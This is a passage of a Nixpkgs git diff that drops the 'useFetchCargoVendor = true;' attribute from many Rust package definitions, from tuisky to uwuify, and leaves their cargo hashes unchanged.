   cargoHash = "sha256-A7kD46gfXWK/OlFVMULlMa7Z9Q1it9/rhGo6pjFa38k=";
 
   doCheck = false;
diff --git a/pkgs/by-name/tu/tuisky/package.nix b/pkgs/by-name/tu/tuisky/package.nix
index 67103615d4db..0409eb13f390 100644
--- a/pkgs/by-name/tu/tuisky/package.nix
+++ b/pkgs/by-name/tu/tuisky/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-7SkY2n5nfqGDxbaSYmWwwmksA8eNY9SjRLLfCUP3qtc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rkIc/dRvuuOUq2v3bHLAL//DmiEBbBAhTxR0MHxAL/U=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tu/tun2proxy/package.nix b/pkgs/by-name/tu/tun2proxy/package.nix
index 34bfb7c2ef52..01430fabc31f 100644
--- a/pkgs/by-name/tu/tun2proxy/package.nix
+++ b/pkgs/by-name/tu/tun2proxy/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hAZZ9pSoIgAb4JYhi9mGHMD4CIjnxVJU00PDsQe6OLY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-A/hBV/koIR7gLIZVCoaRk5DI11NZ5HI+xn6qkU+fxaI=";
 
   meta = {
diff --git a/pkgs/by-name/tu/tunnelto/package.nix b/pkgs/by-name/tu/tunnelto/package.nix
index 4d6b2eccebac..6b1d979c9dd7 100644
--- a/pkgs/by-name/tu/tunnelto/package.nix
+++ b/pkgs/by-name/tu/tunnelto/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-84jGcR/E1QoqIlbGu67muYUtZU66ZJtj4tdZvmYbII4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QXkKqEEbNEDcypErDIFarJLuIoYWOZj/9jCbslxrOXs=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
diff --git a/pkgs/by-name/tu/turbo-unwrapped/package.nix b/pkgs/by-name/tu/turbo-unwrapped/package.nix
index c0811f8bc55a..7d13fe6a86ae 100644
--- a/pkgs/by-name/tu/turbo-unwrapped/package.nix
+++ b/pkgs/by-name/tu/turbo-unwrapped/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-QcyRuLd+nMoCyrtX1j+8vFtsgVKC2KsQBAUjsvfG+rM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zEkpWu/L5plFCnvliAtfu19ljB4pnrEesVQZOycOKRk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tu/turn-rs/package.nix b/pkgs/by-name/tu/turn-rs/package.nix
index f0da4ddd91ae..a386f18e687d 100644
--- a/pkgs/by-name/tu/turn-rs/package.nix
+++ b/pkgs/by-name/tu/turn-rs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BW5dNPkf/JGrf00BI41rEoZRmqftoz+RMGiP6ECVEec=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wnbovuxh3wc1TU8BYZEOG/8SO9bCUd0eWRC81MtAdqo=";
 
   # By default, no features are enabled
diff --git a/pkgs/by-name/tu/turnon/package.nix b/pkgs/by-name/tu/turnon/package.nix
index 3a582fd21167..ef4cb15aa931 100644
--- a/pkgs/by-name/tu/turnon/package.nix
+++ b/pkgs/by-name/tu/turnon/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eKJRyQMZOa/QRUW0VQ0EkXbJSMcYHfCC9wTs0YEB1yo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SjENjQjdg5Vrpd911QOcH9lmW7+BACaN4a/oGb2miI4=";
 
   doCheck = true;
diff --git a/pkgs/by-name/tu/turtle-build/package.nix b/pkgs/by-name/tu/turtle-build/package.nix
index ad33d92191ae..7a6e8f0865f9 100644
--- a/pkgs/by-name/tu/turtle-build/package.nix
+++ b/pkgs/by-name/tu/turtle-build/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PDpiLPMyBZzj2nBy76cSC4ab/kyaoZC/Gd2HSaRVHUM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-V3ks6AWEpPHUkarbgRfCs1G26UKJC5EtEZGVDCHu5V0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tu/tuxedo-rs/package.nix b/pkgs/by-name/tu/tuxedo-rs/package.nix
index 1d3d8be7b08a..75d6219d5d1b 100644
--- a/pkgs/by-name/tu/tuxedo-rs/package.nix
+++ b/pkgs/by-name/tu/tuxedo-rs/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
   # Some of the tests are impure and rely on files in /etc/tailord
   doCheck = false;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EkTLL7thZ/bBpY7TwfEsPOjJxzQ3vpxDi+sYPNAK6og=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/tu/tuxmux/package.nix b/pkgs/by-name/tu/tuxmux/package.nix
index 2609f4b9dbc6..501aa59c0a9b 100644
--- a/pkgs/by-name/tu/tuxmux/package.nix
+++ b/pkgs/by-name/tu/tuxmux/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WcHsFKpYexBEg382837NqGgNMTKzVUG3XIER9aa1zK8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ceEF9ySxcU9vVZdNIogSiHbN/xYjudAoohy7jyeKrBU=";
 
   buildInputs = [ libiconv ];
diff --git a/pkgs/by-name/tv/tv/package.nix b/pkgs/by-name/tv/tv/package.nix
index f345d8474f24..158c0a3b789b 100644
--- a/pkgs/by-name/tv/tv/package.nix
+++ b/pkgs/by-name/tv/tv/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-qODv45smZ6jHCJBaa6EEvFLG+7g+FWrRf6BiHRFLzqM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pg8u+1C68ilg0uhszQnsN1bRbniJd39yQHujerQx+mI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tw/twiggy/package.nix b/pkgs/by-name/tw/twiggy/package.nix
index 44f6510e9621..f1fa1fabb323 100644
--- a/pkgs/by-name/tw/twiggy/package.nix
+++ b/pkgs/by-name/tw/twiggy/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NbtS7A5Zl8634Q3xyjVzNraNszjt1uIXqmctArfnqkk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-thGehtb8cF4b/G76nbkuBqQyNodaCbAiDBsrUKQ3zbQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tw/twitch-hls-client/package.nix b/pkgs/by-name/tw/twitch-hls-client/package.nix
index cf7311e0c4c9..16441d170417 100644
--- a/pkgs/by-name/tw/twitch-hls-client/package.nix
+++ b/pkgs/by-name/tw/twitch-hls-client/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bMND6TFM2lpnUFE6BfrNF88JRImYJy/cGhbSjIWi974=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TvgRj6OyDcL0/I0o14CD8t2+VYu37kFXMwrS093uA1o=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/tw/twitch-tui/package.nix b/pkgs/by-name/tw/twitch-tui/package.nix
index 1d7f03d60ecc..f3128a4c63d7 100644
--- a/pkgs/by-name/tw/twitch-tui/package.nix
+++ b/pkgs/by-name/tw/twitch-tui/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-hA66YcxbQem9ymOu3tGA4biKUCoJ2jKnUSK+9+0P2Eg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DMUE3sTJEz2AxUctnjm0CkvOqMeAw5urLPZkkHvf9A8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tw/twm/package.nix b/pkgs/by-name/tw/twm/package.nix
index 9f0c5f15d9ed..79f27b56fdd3 100644
--- a/pkgs/by-name/tw/twm/package.nix
+++ b/pkgs/by-name/tw/twm/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Hta9IvPViZFEiR+RXRmlPRwIu10D9B5dbXzhflxzBhY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-buiU+umHqyZ/3YoW2+5QpmF9AGEuNUihro5PFuWFSH4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ty/tydra/package.nix b/pkgs/by-name/ty/tydra/package.nix
index e9baf788587e..7622ba0d9384 100644
--- a/pkgs/by-name/ty/tydra/package.nix
+++ b/pkgs/by-name/ty/tydra/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-bH/W54b7UHdkbgLXAd+l5I6UAKjWDMW+I5mfwT4yEEY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sFNrpddhsqxy7HtCXV78oacyNzrTeM0rUcL7qgeJTcM=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ty/typeshare/package.nix b/pkgs/by-name/ty/typeshare/package.nix
index e6cea0420f30..7004401f9a0f 100644
--- a/pkgs/by-name/ty/typeshare/package.nix
+++ b/pkgs/by-name/ty/typeshare/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZoCl/dWGtoHUtNsNhHQvMjyUnoVdkGBuiBkWPwaQeIQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Jw073otz8uBdvHi+GTb6qOTCfnR/lTMif1S8QuHwEDY=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ty/typical/package.nix b/pkgs/by-name/ty/typical/package.nix
index 91c9d00d4db6..7bd070a83af3 100644
--- a/pkgs/by-name/ty/typical/package.nix
+++ b/pkgs/by-name/ty/typical/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-y7PWTzD9+rkC4wZYhecmDTa3AoWl4Tgh7QXbSK4Qq5Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+SnwxmNQDj6acr2nEKJkNmR5PqnTIvyMApyZOmCld2U=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ty/typos-lsp/package.nix b/pkgs/by-name/ty/typos-lsp/package.nix
index 3aaf61196e42..5be7c1bbf15c 100644
--- a/pkgs/by-name/ty/typos-lsp/package.nix
+++ b/pkgs/by-name/ty/typos-lsp/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+G4jOoC8AdCE5tEb7qN8cord/pe8Qsa/U1YpL0fWSeo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-D3XmCPQYBbr5OwY62xigtYnHATSePZQnkGoUZWqGMR8=";
 
   # fix for compilation on aarch64
diff --git a/pkgs/by-name/ty/typos/package.nix b/pkgs/by-name/ty/typos/package.nix
index 3502de2b9748..3c36ba7fa4bf 100644
--- a/pkgs/by-name/ty/typos/package.nix
+++ b/pkgs/by-name/ty/typos/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1IILk52HyeGMZC+oD2tIUApEgV8RAojmAlVP/uQIng0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HKJ9ndh23ho3PtWUpGPaGOaECQC2dEfKp0D1N2PY9Ew=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ty/typst-live/package.nix b/pkgs/by-name/ty/typst-live/package.nix
index 830ceb928b9d..1fb570f918e4 100644
--- a/pkgs/by-name/ty/typst-live/package.nix
+++ b/pkgs/by-name/ty/typst-live/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bR4Rhhs6rAC6C1nfPFj/3rCtfEziuTGn5m33CR0qZkU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C85hV7uCsuRsxH2/8arjz9Pqs5j23s5b9RHmFsRtZSw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ty/typst/package.nix b/pkgs/by-name/ty/typst/package.nix
index 7efdd3424d2d..df24b519cc6b 100644
--- a/pkgs/by-name/ty/typst/package.nix
+++ b/pkgs/by-name/ty/typst/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-vbBwIQt4xWZaKpXgFwDsRQIQ0mmsQPRR39m8iZnnuj0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4kVj2BODEFjLcrh5sxfcgsdLF2Zd3K1GnhA4DEz1Nl4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ty/typstfmt/package.nix b/pkgs/by-name/ty/typstfmt/package.nix
index 4109ef87488b..b3d393eb8022 100644
--- a/pkgs/by-name/ty/typstfmt/package.nix
+++ b/pkgs/by-name/ty/typstfmt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JsNaHeFYr92VdruE87dLj2kPGc9M+ww7AGiGO4Gbbr0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sY2LLBsyRt7Zc84//WZWNq6e7Vx/TtPC/zoDF2Ug7yQ=";
 
   meta = {
diff --git a/pkgs/by-name/ty/typstyle/package.nix b/pkgs/by-name/ty/typstyle/package.nix
index 9636a77351c0..09dec20e0e27 100644
--- a/pkgs/by-name/ty/typstyle/package.nix
+++ b/pkgs/by-name/ty/typstyle/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-vk/u5Q1MN6JlZuY4PnDEw52SSVYCciJUAbBduf2JiZQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XYBkfyomZiTjZccux72dc4Ku4Zec4ms6m5U2xwFgjEY=";
 
   # Disabling tests requiring network access
diff --git a/pkgs/by-name/tz/tzupdate/package.nix b/pkgs/by-name/tz/tzupdate/package.nix
index a919459fc272..fc00666b1f3a 100644
--- a/pkgs/by-name/tz/tzupdate/package.nix
+++ b/pkgs/by-name/tz/tzupdate/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eod4yFzX7pATNQmG7jU+r9mnC9nprJ55ufMXpKjw/YI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v6Om9lnFKMuLFdxhU3qmyZLV/f+C3vCMp9luU0jZBEQ=";
 
   meta = {
diff --git a/pkgs/by-name/ua/uair/package.nix b/pkgs/by-name/ua/uair/package.nix
index 05038009ec4e..a7e32ac74b78 100644
--- a/pkgs/by-name/ua/uair/package.nix
+++ b/pkgs/by-name/ua/uair/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VytbtTQch8O5hCg3L3ANNOfFOyiQY1V7DvGMEKr1R04=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5/CvyN/uOMIEhOg7uqon6bQd5EQDPVrfi7XnJF9mZyg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ud/udict/package.nix b/pkgs/by-name/ud/udict/package.nix
index 472834744c5d..bbf7be3fb89b 100644
--- a/pkgs/by-name/ud/udict/package.nix
+++ b/pkgs/by-name/ud/udict/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vcyzMw2tWil4MULEkf25S6kXzqMG6JXIx6GibxxspkY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KlWzcJtNBTLCDDH01vI1mn9H7LUqni5o/Q6PsNeI7HE=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/ud/udpt/package.nix b/pkgs/by-name/ud/udpt/package.nix
index e3532dd212ec..2fe17bae7cde 100644
--- a/pkgs/by-name/ud/udpt/package.nix
+++ b/pkgs/by-name/ud/udpt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-dWZRl5OiuEmCx7+Id0/feCohH5k/HA47nbPUEo8BBwQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AtqtANpxsmvdEoISyGZKDVR7/IxMBPwGGNelgf7ZlH4=";
 
   postInstall = ''
diff --git a/pkgs/by-name/ue/uefi-run/package.nix b/pkgs/by-name/ue/uefi-run/package.nix
index 0c8f84054e45..565f8bbc26c7 100644
--- a/pkgs/by-name/ue/uefi-run/package.nix
+++ b/pkgs/by-name/ue/uefi-run/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tR547osqw18dCMHJLqJ8AQBelbv8yCl7rAqslu+vnDQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-c9aooU60zN58/m8q4G/f8VOjq7oXUTqxqSUMp47YOcA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ue/uefisettings/package.nix b/pkgs/by-name/ue/uefisettings/package.nix
index 4cee70ea5e8b..8461b065bead 100644
--- a/pkgs/by-name/ue/uefisettings/package.nix
+++ b/pkgs/by-name/ue/uefisettings/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
 
   passthru.updateScript = unstableGitUpdater { };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-adCC5o17j6tuffymiLUn2SEPlrjMzYn6a74/4a9HI/w=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ue/uesave/package.nix b/pkgs/by-name/ue/uesave/package.nix
index d8eb98d3f9e4..64568623b002 100644
--- a/pkgs/by-name/ue/uesave/package.nix
+++ b/pkgs/by-name/ue/uesave/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cwkeuHmtIS8zTxTSa1qLtWfN2OZinqKngMEYvrCCAk0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QGhaaBvxKYnljrkCCcFZLALppvM15c8Xtn36SecaNJ8=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/ui/uiua/package.nix b/pkgs/by-name/ui/uiua/package.nix
index 6123b2bd100c..70a7de5e5ac0 100644
--- a/pkgs/by-name/ui/uiua/package.nix
+++ b/pkgs/by-name/ui/uiua/package.nix
@@ -33,7 +33,6 @@ in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "uiua";
   inherit (versionInfo) version cargoHash;
-  useFetchCargoVendor = true;
 
   src = fetchFromGitHub {
     owner = "uiua-lang";
diff --git a/pkgs/by-name/uk/ukmm/package.nix b/pkgs/by-name/uk/ukmm/package.nix
index afcc6fcfa9dc..75b7ad3f58fd 100644
--- a/pkgs/by-name/uk/ukmm/package.nix
+++ b/pkgs/by-name/uk/ukmm/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-NZN+T2N+N+oxrjBRvVbRWbB2KY5im9SN7gPHzfvovl8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eDYCF+bYh0T/SSrQKjCqZvSd28CSxvGkpHgmBCHLoig=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/un/unbook/package.nix b/pkgs/by-name/un/unbook/package.nix
index 0a80554a9180..ae235ef10c12 100644
--- a/pkgs/by-name/un/unbook/package.nix
+++ b/pkgs/by-name/un/unbook/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-whWWh/jQ4RkGA3T1VCmt6zhpQQCzh2jASYg69IlfEeo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r4RWcz7TSP7wfo9mu8wfOyy7C4PIWkrSt4RyDY3/lQA=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/un/uni-sync/package.nix b/pkgs/by-name/un/uni-sync/package.nix
index cfeccfa91c01..ced8b96e4a02 100644
--- a/pkgs/by-name/un/uni-sync/package.nix
+++ b/pkgs/by-name/un/uni-sync/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage {
     ./ignore_read-only_filesystem.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Qb0TPpYGDjsqHkI4B8QRz5c9rqZ+H98YjOg5K++zpBg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/un/unimap/package.nix b/pkgs/by-name/un/unimap/package.nix
index 7c56633a4d76..dee904396f8c 100644
--- a/pkgs/by-name/un/unimap/package.nix
+++ b/pkgs/by-name/un/unimap/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7UbzE5VXycjo7KNpPe2oqwyZDT4Vk8rQZ6HXT1q9Cw4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ShwFHLfDPc3P8J5gV5CFz/2vrQ5xR01C3sYIejyt860=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/un/unison-fsmonitor/package.nix b/pkgs/by-name/un/unison-fsmonitor/package.nix
index 13afed3aaff4..83feaedac80b 100644
--- a/pkgs/by-name/un/unison-fsmonitor/package.nix
+++ b/pkgs/by-name/un/unison-fsmonitor/package.nix
@@ -14,7 +14,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     hash = "sha256-1W05b9s0Pg2LzNu0mFo/JKpPw0QORqZkXhbbSuCZIUo=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-FhENsOGv4jN9A0HS0TIPJMiXA4mYBL668jyckVNGOKc=";
 
   checkFlags = [
diff --git a/pkgs/by-name/un/universal-android-debloater/package.nix b/pkgs/by-name/un/universal-android-debloater/package.nix
index 5e1fb737aa74..3c4d1b9e9a34 100644
--- a/pkgs/by-name/un/universal-android-debloater/package.nix
+++ b/pkgs/by-name/un/universal-android-debloater/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-DapPUvkI4y159gYbSGJQbbDfW+C0Ggvaxo45Qj3mLrQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eXbReRi/0h4UyJwIMI3GfHcQzX1E5Spoa4moMXtrBng=";
 
   buildInputs = [
diff --git a/pkgs/by-name/un/unpfs/package.nix b/pkgs/by-name/un/unpfs/package.nix
index 630f362fc3d5..0551ff9de590 100644
--- a/pkgs/by-name/un/unpfs/package.nix
+++ b/pkgs/by-name/un/unpfs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/example/unpfs";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jRe1lgzfhzBUsS6wwwlqxxomap2TIDOyF3YBv20GJ14=";
 
   RUSTC_BOOTSTRAP = 1;
diff --git a/pkgs/by-name/un/unused/package.nix b/pkgs/by-name/un/unused/package.nix
index 71790d0f6b99..19438478b714 100644
--- a/pkgs/by-name/un/unused/package.nix
+++ b/pkgs/by-name/un/unused/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ cmake ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YOTTwkmYLU9+7FHw3EhIWFK2oDOwm+pGqCAqa4Ywuew=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/un/unzrip/package.nix b/pkgs/by-name/un/unzrip/package.nix
index 592a9d6650ed..e22ee4ce89f8 100644
--- a/pkgs/by-name/un/unzrip/package.nix
+++ b/pkgs/by-name/un/unzrip/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-QYu4PXWQGagj7r8lLs0IngIXzt6B8uq2qonycaGDg6g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3EbZv4mguNT3FtqcDBJriqRGGzz/093AMHqH6c2xYvQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ur/urlencode/package.nix b/pkgs/by-name/ur/urlencode/package.nix
index f79bc0598cf8..d69d98aab2e9 100644
--- a/pkgs/by-name/ur/urlencode/package.nix
+++ b/pkgs/by-name/ur/urlencode/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-LvLUbtMPVbYZMUb9vWhTscYfZPtEM5GrZme3azvVlPE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rHoqBrDFQ31jIHFZbHwjKHPDgMzM7gUCIhew03OYN6M=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/us/usage/package.nix b/pkgs/by-name/us/usage/package.nix
index 9a8c5edb764a..003f6bf93c4a 100644
--- a/pkgs/by-name/us/usage/package.nix
+++ b/pkgs/by-name/us/usage/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-No/BDBW/NRnF81UOuAMrAs4cXEdzEAxnmkn67mReUcM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-W/CuXzwacarxgVv12TMVfo7Fr9qKJ7aZIO8xf4SygNA=";
 
   postPatch = ''
diff --git a/pkgs/by-name/us/userborn/package.nix b/pkgs/by-name/us/userborn/package.nix
index 5ba51b7a63f3..7d2a5c92c0c6 100644
--- a/pkgs/by-name/us/userborn/package.nix
+++ b/pkgs/by-name/us/userborn/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/rust/userborn";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oLw/I8PEv75tz+KxbIJrwl8Wr0I/RzDh1SDZ6mRQpL8=";
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
diff --git a/pkgs/by-name/ut/utpm/package.nix b/pkgs/by-name/ut/utpm/package.nix
index 7622c9b08122..847ea3efdf2c 100644
--- a/pkgs/by-name/ut/utpm/package.nix
+++ b/pkgs/by-name/ut/utpm/package.nix
@@ -9,7 +9,6 @@ rustPlatform.buildRustPackage {
   pname = "utpm";
   version = "0-unstable-2024-12-17";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fqGxor2PgsQemnPNoZkgNUNc7yRg2eqHTLzJAVpt6+8=";
 
   src = fetchFromGitHub {
diff --git a/pkgs/by-name/uu/uutils-diffutils/package.nix b/pkgs/by-name/uu/uutils-diffutils/package.nix
index 6ef7caa0c821..72e2c891ee3d 100644
--- a/pkgs/by-name/uu/uutils-diffutils/package.nix
+++ b/pkgs/by-name/uu/uutils-diffutils/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-IAgrCkhUC2Tkh+OM1lorpmD0GpsHUauLgU0KcmsvKb4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SiZIp0rJXl0ZqKaxLPtV1nypxSqKXW+NoFLxCVpW4OY=";
 
   checkFlags = [
diff --git a/pkgs/by-name/uu/uutils-findutils/package.nix b/pkgs/by-name/uu/uutils-findutils/package.nix
index 37d5c90713a7..3eb69c73b304 100644
--- a/pkgs/by-name/uu/uutils-findutils/package.nix
+++ b/pkgs/by-name/uu/uutils-findutils/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-i+ryTF2hlZFbyFft/769c800FkzL26E4snUsxU79sKY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gtaD2jqnGhoJGw9FAJefnU9BSGIODi/RrhTeB3MC69U=";
 
   postInstall = ''
diff --git a/pkgs/by-name/uv/uv/package.nix b/pkgs/by-name/uv/uv/package.nix
index 4fc7767713ae..b3030520b1da 100644
--- a/pkgs/by-name/uv/uv/package.nix
+++ b/pkgs/by-name/uv/uv/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-949PYCKaZqaXFb2GFjTgpZr/b3R61Tf4lHSgGiZv0kA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ybhEzHlTuXoSV/3d1soA8Y7EpiphBEBXSlf2gWyiKnw=";
 
   buildInputs = [
diff --git a/pkgs/by-name/uw/uwc/package.nix b/pkgs/by-name/uw/uwc/package.nix
index d8032dc205e4..724502534fa3 100644
--- a/pkgs/by-name/uw/uwc/package.nix
+++ b/pkgs/by-name/uw/uwc/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Qv8vMjCMhpVxkJyH1uTsFXu2waO8oaLPuoBETaWOUqI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9inL/z19lbZY8OxIjut3d/HJJXQzZi/cL750Cx98Kcg=";
 
   doCheck = false;
diff --git a/pkgs/by-name/uw/uwuify/package.nix b/pkgs/by-name/uw/uwuify/package.nix
index e539ca7cb556..ad6f4d6c53d0 100644
--- a/pkgs/by-name/uw/uwuify/package.nix
+++ b/pkgs/by-name/uw/uwuify/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-MzXObbxccwEG7egmQMCdhUukGqZS+NgbYwZjTaqME7I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gR3FL1GeD9Dx5TKeThmPScMCRJQ2THlO4pBViXlI9XM=";
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
diff --git a/pkgs/by-name/va/vale-ls/package.nix b/pkgs/by-name/va/vale-ls/package.nix
